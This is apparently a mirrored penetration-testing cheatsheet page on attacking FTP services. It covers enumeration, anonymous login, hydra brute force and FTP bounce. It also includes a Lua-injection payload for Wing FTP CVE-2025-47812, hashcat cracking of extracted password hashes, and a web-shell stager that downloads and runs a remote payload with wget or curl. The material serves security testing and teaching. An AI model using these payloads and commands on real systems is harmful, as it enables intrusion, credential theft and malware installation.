daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (16668B)


      1 ---
      2 title: "21 - Pentesting FTP"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-ftp/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-ftp/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 21 - Pentesting FTP
     14 
     15 ## Basic information<sup>[[7]](#references)</sup>
     16 
     17 The **File Transfer Protocol (FTP)** is a standard protocol for transferring files between a client and server over a computer network.\
     18 Its control channel is **plaintext** and terminates lines with CRLF (`0x0d 0x0a`), so raw testing may require **Telnet** or **`nc -C`**.
     19 
     20 **Default Port:** 21
     21 
     22 ```text
     23 PORT   STATE SERVICE
     24 21/tcp open  ftp
     25 ```
     26 
     27 ### Active and passive connections
     28 
     29 In **active FTP**, the **client** initiates the control connection from its port N to the FTP server's command port, TCP/21. The client then listens on a data port and advertises it to the server with `PORT` or `EPRT`. The **server initiates the data connection** to the client's advertised port.
     30 
     31 Active FTP can fail when a client-side firewall blocks inbound data connections. Passive FTP avoids this issue by having the client initiate both connections.
     32 
     33 In **passive FTP**, the client initiates the control connection to TCP/21 and issues `PASV` or `EPSV`. The server returns a listening data port, and the client initiates the data connection to that server port.<sup>[[6]](#references)[[7]](#references)</sup>
     34 
     35 Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)<sup>[[6]](#references)</sup>
     36 
     37 ### Connection debugging
     38 
     39 The FTP client's **`debug`** and **`trace`** commands can show how the communication occurs.
     40 
     41 ## Enumeration
     42 
     43 ### Banner Grabbing
     44 
     45 ```bash
     46 nc -vn <IP> 21
     47 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
     48 ```
     49 
     50 ### Connect to FTP using starttls
     51 
     52 ```text
     53 lftp
     54 lftp :~> set ftp:ssl-force true
     55 lftp :~> set ssl:verify-certificate no
     56 lftp :~> connect 10.10.10.208
     57 lftp 10.10.10.208:~> login
     58 Usage: login <user|URL> [<pass>]
     59 lftp 10.10.10.208:~> login username Password
     60 ```
     61 
     62 ### Unauth enum
     63 
     64 With **nmap**
     65 
     66 ```bash
     67 sudo nmap -sV -p21 -sC -A 10.10.10.10
     68 ```
     69 
     70 Use `HELP` and `FEAT` to obtain information about the FTP server:
     71 
     72 ```text
     73 HELP
     74 214-The following commands are recognized (* =>'s unimplemented):
     75 214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
     76 214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
     77 214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
     78 214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
     79 214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
     80 214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
     81 214-NLST    STAT    SITE    MLSD    MLST
     82 214 Direct comments to root@drei.work
     83 
     84 FEAT
     85 211-Features:
     86  PROT
     87  CCC
     88  PBSZ
     89  AUTH TLS
     90  MFF modify;UNIX.group;UNIX.mode;
     91  REST STREAM
     92  MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
     93  UTF8
     94  EPRT
     95  EPSV
     96  LANG en-US
     97  MDTM
     98  SSCN
     99  TVFS
    100  MFMT
    101  SIZE
    102 211 End
    103 
    104 STAT
    105 #Info about the FTP server (version, configs, status...)
    106 ```
    107 
    108 ### Anonymous login
    109 
    110 _anonymous : anonymous_\
    111 \_anonymous :_\
    112 \_ftp : ftp_
    113 
    114 ```bash
    115 ftp <IP>
    116 >anonymous
    117 >anonymous
    118 >ls -a # List all files (even hidden) (yes, they could be hidden)
    119 >binary #Set transmission to binary instead of ascii
    120 >ascii #Set transmission to ascii instead of binary
    121 >bye #exit
    122 ```
    123 
    124 ### [Brute force](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#ftp)
    125 
    126 Here you can find a nice list with default ftp credentials: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
    127 
    128 ### Automated
    129 
    130 Nmap performs anonymous-login and FTP-bounce checks with the **`-sC`** option, or you can invoke all FTP scripts explicitly:
    131 
    132 ```bash
    133 nmap --script ftp-* -p 21 <ip>
    134 ```
    135 
    136 ## FTP URL handling
    137 
    138 An FTP URL has the following form, although current browsers no longer provide built-in FTP clients; Firefox removed FTP support in version 90. Use a dedicated client such as `lftp` or FileZilla instead.<sup>[[8]](#references)</sup>
    139 
    140 ```bash
    141 ftp://anonymous:anonymous@10.10.10.98
    142 ```
    143 
    144 If a **web application** sends user-controlled data directly to an FTP server, double-encoded CRLF bytes (`%250d%250a`) may permit FTP command injection. Possible effects include downloading content from an attacker-controlled server, scanning ports, or interacting with another plaintext protocol such as HTTP.
    145 
    146 
    147 ### Wing FTP Server (web client RCE + credential recovery)
    148 
    149 If the **HTTP interface** returns a header like `Server: Wing FTP Server(Free Edition)` or the footer exposes **`v7.4.3` / `< 7.4.4`**, test the **web client**, not only TCP/21. In some deployments **`anonymous`** with a blank password works in the web login too, which is important because **CVE-2025-47812** is exploitable with any valid account, including anonymous when enabled.<sup>[[3]](#references)[[4]](#references)</sup>
    150 
    151 **Bug class:** the web login validates the username only **up to `\0`**, but the **full submitted value** is later written into the user **Lua session file**. Wing FTP stores session state as code such as:<sup>[[3]](#references)</sup>
    152 
    153 ```lua
    154 _SESSION['username']=[[<username>]]
    155 _SESSION['ipaddress']=[[127.0.0.1]]
    156 ```
    157 
    158 If the username starts with a valid account and then injects a value like `anonymous\0]] ... --`, the long string closes and attacker-controlled Lua is executed when the session cookie is reused on pages like `/dir.html`:<sup>[[3]](#references)</sup>
    159 
    160 ```lua
    161 anonymous\0]]
    162 local h = io.popen("id")
    163 print(h:read("*a"))
    164 h:close()
    165 --
    166 ```
    167 
    168 - Prefix before `\0` passes authentication (`anonymous`, real user, or admin).
    169 - `]]` closes `_SESSION['username']=[[...]]`.
    170 - `io.popen()` gives command execution as the **Wing FTP service account** (**root/SYSTEM by default** in many real installs).
    171 - `--` comments the trailing `]]` appended by Wing FTP.
    172 
    173 #### Wing FTP post-exploitation: file-based hashes
    174 
    175 Wing FTP often stores users and admins in **XML** below the install `Data/` directory, commonly:<sup>[[2]](#references)</sup>
    176 
    177 ```bash
    178 Data/_ADMINISTRATOR/admins.xml
    179 Data/1/users/*.xml
    180 ```
    181 
    182 Useful checks after landing on the host:
    183 
    184 ```bash
    185 find /opt/wftpserver/Data -name '*.xml' | xargs grep -i -e '<Password>' -e 'EnableSHA256' -e 'EnablePasswordSalting' -e 'SaltingString'
    186 ```
    187 
    188 If the config shows:
    189 
    190 ```xml
    191 <EnableSHA256>1</EnableSHA256>
    192 <EnablePasswordSalting>1</EnablePasswordSalting>
    193 <SaltingString>WingFTP</SaltingString>
    194 ```
    195 
    196 passwords are stored as **`SHA256(password + salt)`**. A quick formatter for Hashcat mode **`1410`** (`sha256($pass.$salt)`) is:<sup>[[2]](#references)[[5]](#references)</sup>
    197 
    198 ```bash
    199 grep -r "<Password>" /opt/wftpserver/Data | sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)</[^>]+>.*#\1:\2:WingFTP#' > wingftp.hashes
    200 hashcat -m 1410 --user wingftp.hashes <wordlist>
    201 ```
    202 
    203 This is especially useful when **application users map to local OS users** and password reuse gives **SSH** or `su` access.<sup>[[2]](#references)</sup>
    204 
    205 ## Download all files from FTP
    206 
    207 ```bash
    208 wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
    209 wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
    210 ```
    211 
    212 If your user/password has special characters, the [following command](https://stackoverflow.com/a/113900/13647948) can be used:
    213 
    214 ```bash
    215 wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
    216 ```
    217 
    218 ### FTP root mapped to webroot (XAMPP)
    219 
    220 - XAMPP/ProFTPD often maps FTP root to `/opt/lampp/htdocs`, so weak creds on service accounts like `daemon` or `nobody` let you **upload a PHP web shell directly into the served webroot**.<sup>[[1]](#references)</sup>
    221 - After uploading, trigger an **architecture-aware download/exec stager** via the shell, for example: `webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86)`, which fetches a checksum-validated payload, saves it (e.g., `init_start`), sets `chmod +x`, and runs it.
    222 - If the current directory is not writable/executable, the stager falls back to `/tmp`, so test web paths and filesystem permissions after upload.
    223 
    224 ## Some FTP commands<sup>[[7]](#references)</sup>
    225 
    226 - **`USER username`**
    227 - **`PASS password`**
    228 - **`HELP`** The server indicates which commands are supported
    229 - **`PORT 127,0,0,1,0,80`** tells the FTP server to connect to 127.0.0.1 on port 80. The final two decimal fields encode the 16-bit port as `p1*256 + p2`.
    230 - **`EPRT |1|127.0.0.1|80|`** tells the FTP server to establish a TCP connection to IPv4 address 127.0.0.1 on port 80. Address-family value `2` selects IPv6.
    231 - **`LIST`** This will send the list of files in current folder
    232   - **`LIST -R`** List recursively (if allowed by the server)
    233 - **`APPE /path/something.txt`** This will indicate the FTP to store the data received from a **passive** connection or from a **PORT/EPRT** connection to a file. If the filename exists, it will append the data.
    234 - **`STOR /path/something.txt`** Like `APPE` but it will overwrite the files
    235 - **`STOU /path/something.txt`** stores the uploaded data under a unique server-generated filename.
    236 - **`RETR /path/to/file`** requires an established active or passive data connection, through which the server sends the requested file.
    237 - **`REST 6`** tells the server that the next `RETR` transfer should resume at byte offset 6.
    238 - **`TYPE i`** Set transfer to binary
    239 - **`PASV`** asks the server to listen for a passive data connection and return the address and port to the client.
    240 - **`PUT /tmp/file.txt`** Upload indicated file to the FTP
    241 
    242 ![FTP root mapped to webroot (XAMPP) - Some FTP commands: PUT /tmp/file.txt Upload indicated file to the FTP](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28386%29.png)
    243 
    244 ## FTPBounce attack
    245 
    246 Some FTP servers allow the `PORT` command to specify an arbitrary destination for the server's data connection. This behavior can be abused to scan a host's ports through the FTP server.
    247 
    248 [**Learn here how to abuse a FTP server to scan ports.**](/hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-attack)
    249 
    250 You could also abuse this behaviour to make a FTP server interact with other protocols. You could **upload a file containing an HTTP request** and make the vulnerable FTP server **send it to an arbitrary HTTP server** (_maybe to add a new admin user?_) or even upload a FTP request and make the vulnerable FTP server download a file for a different FTP server.\
    251 The theory is easy:
    252 
    253 1. **Upload the request (inside a text file) to the vulnerable server.** Remember that if you want to talk with another HTTP or FTP server you need to change lines with `0x0d 0x0a`
    254 2. **Use `REST X` to avoid sending the characters you don't want to send** (maybe to upload the request inside the file you needed to put some image header at the beginning)
    255 3. **Use `PORT` to connect to the arbitrary server and service.**
    256 4. **Use `RETR` to send the saved request to the server.**
    257 
    258 This will probably return an error such as _**Socket not writable**_ because the connection may not remain open long enough for `RETR` to send the data. Possible workarounds include:
    259 
    260 - If you are sending an HTTP request, **put the same request one after another** until **\~0.5MB** at least. Like this:
    261 
    262 [Posts.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-ftp/posts.txt)
    263 
    264 - Try to **fill the request with "junk" data relative to the protocol** (talking to FTP maybe just junk commands or repeating the `RETR`instruction to get the file)
    265 - Just **fill the request with a lot of null characters or others** (divided on lines or not)
    266 
    267 Anyway, here you have an [old example about how to abuse this to make a FTP server download a file from a different FTP server.](/hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file)
    268 
    269 ## Filezilla Server Vulnerability
    270 
    271 **FileZilla** usually **binds** to **local** an **Administrative service** for the **FileZilla-Server** (port 14147). If you can create a **tunnel** from **your machine** to access this port, you can **connect** to **it** using a **blank password** and **create** a **new user** for the FTP service.
    272 
    273 ## Config files
    274 
    275 ```text
    276 ftpusers
    277 ftp.conf
    278 proftpd.conf
    279 vsftpd.conf
    280 ```
    281 
    282 ### Post-Exploitation
    283 
    284 The default configuration of vsFTPd can be found in `/etc/vsftpd.conf`. In here, you could find some dangerous settings:
    285 
    286 - `anonymous_enable=YES`
    287 - `anon_upload_enable=YES`
    288 - `anon_mkdir_write_enable=YES`
    289 - `anon_root=/home/username/ftp` - Directory for anonymous.
    290 - `chown_uploads=YES` - Change ownership of anonymously uploaded files
    291 - `chown_username=username` - User who is given ownership of anonymously uploaded files
    292 - `local_enable=YES` - Enable local users to login
    293 - `no_anon_password=YES` - Do not ask anonymous for password
    294 - `write_enable=YES` - Allow commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE
    295 
    296 ### Shodan
    297 
    298 - `ftp`
    299 - `port:21`
    300 
    301 ## HackTricks Automatic Commands
    302 
    303 ```text
    304 Protocol_Name: FTP    #Protocol Abbreviation if there is one.
    305 Port_Number:  21     #Comma separated if there is more than one.
    306 Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out
    307 
    308 Entry_1:
    309   Name: Notes
    310   Description: Notes for FTP
    311   Note: |
    312     Anonymous Login
    313     -bi     <<< so that your put is done via binary
    314 
    315     wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
    316     ^^to download all dirs and files
    317 
    318     wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
    319     if PASV transfer is disabled
    320 
    321     https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
    322 
    323 Entry_2:
    324   Name: Banner Grab
    325   Description: Grab FTP Banner via telnet
    326   Command: telnet -n {IP} 21
    327 
    328 Entry_3:
    329   Name: Cert Grab
    330   Description: Grab FTP Certificate if existing
    331   Command: openssl s_client -connect {IP}:21 -starttls ftp
    332 
    333 Entry_4:
    334   Name: nmap ftp
    335   Description: Anon login and bounce FTP checks are performed
    336   Command: nmap --script ftp-* -p 21 {IP}
    337 
    338 Entry_5:
    339   Name: Browser Connection
    340   Description: Connect with Browser
    341   Note: ftp://anonymous:anonymous@{IP}
    342 
    343 Entry_6:
    344   Name: Hydra Brute Force
    345   Description: Need Username
    346   Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
    347 
    348 Entry_7:
    349   Name: consolesless mfs enumeration ftp
    350   Description: FTP enumeration without the need to run msfconsole
    351   Note: sourced from https://github.com/carlospolop/legion
    352   Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
    353 ```
    354 
    355 ## References
    356 
    357 - [1] [Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns](https://research.checkpoint.com/2026/inside-gobruteforcer-ai-generated-server-defaults-weak-passwords-and-crypto-focused-campaigns/)
    358 - [2] [0xdf - HTB WingData: Wing FTP Null-Byte Lua RCE, Hash Cracking, and Python tarfile Privilege Escalation](https://0xdf.gitlab.io/2026/06/27/htb-wingdata.html)
    359 - [3] [RCE Security - What the null? Wing FTP Server RCE (CVE-2025-47812)](https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/)
    360 - [4] [NVD - CVE-2025-47812](https://nvd.nist.gov/vuln/detail/CVE-2025-47812)
    361 - [5] [Wing FTP help - User / Group settings](https://www.wftpserver.com/help/ftpserver/index.html?user__group.htm)
    362 - [6] [What is FTP bounce attack?](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
    363 - [7] [RFC 959 – File Transfer Protocol](https://www.rfc-editor.org/rfc/rfc959)
    364 - [8] [Mozilla Security Blog – Stopping FTP support in Firefox 90](https://blog.mozilla.org/security/2021/07/20/stopping-ftp-support-in-firefox-90/)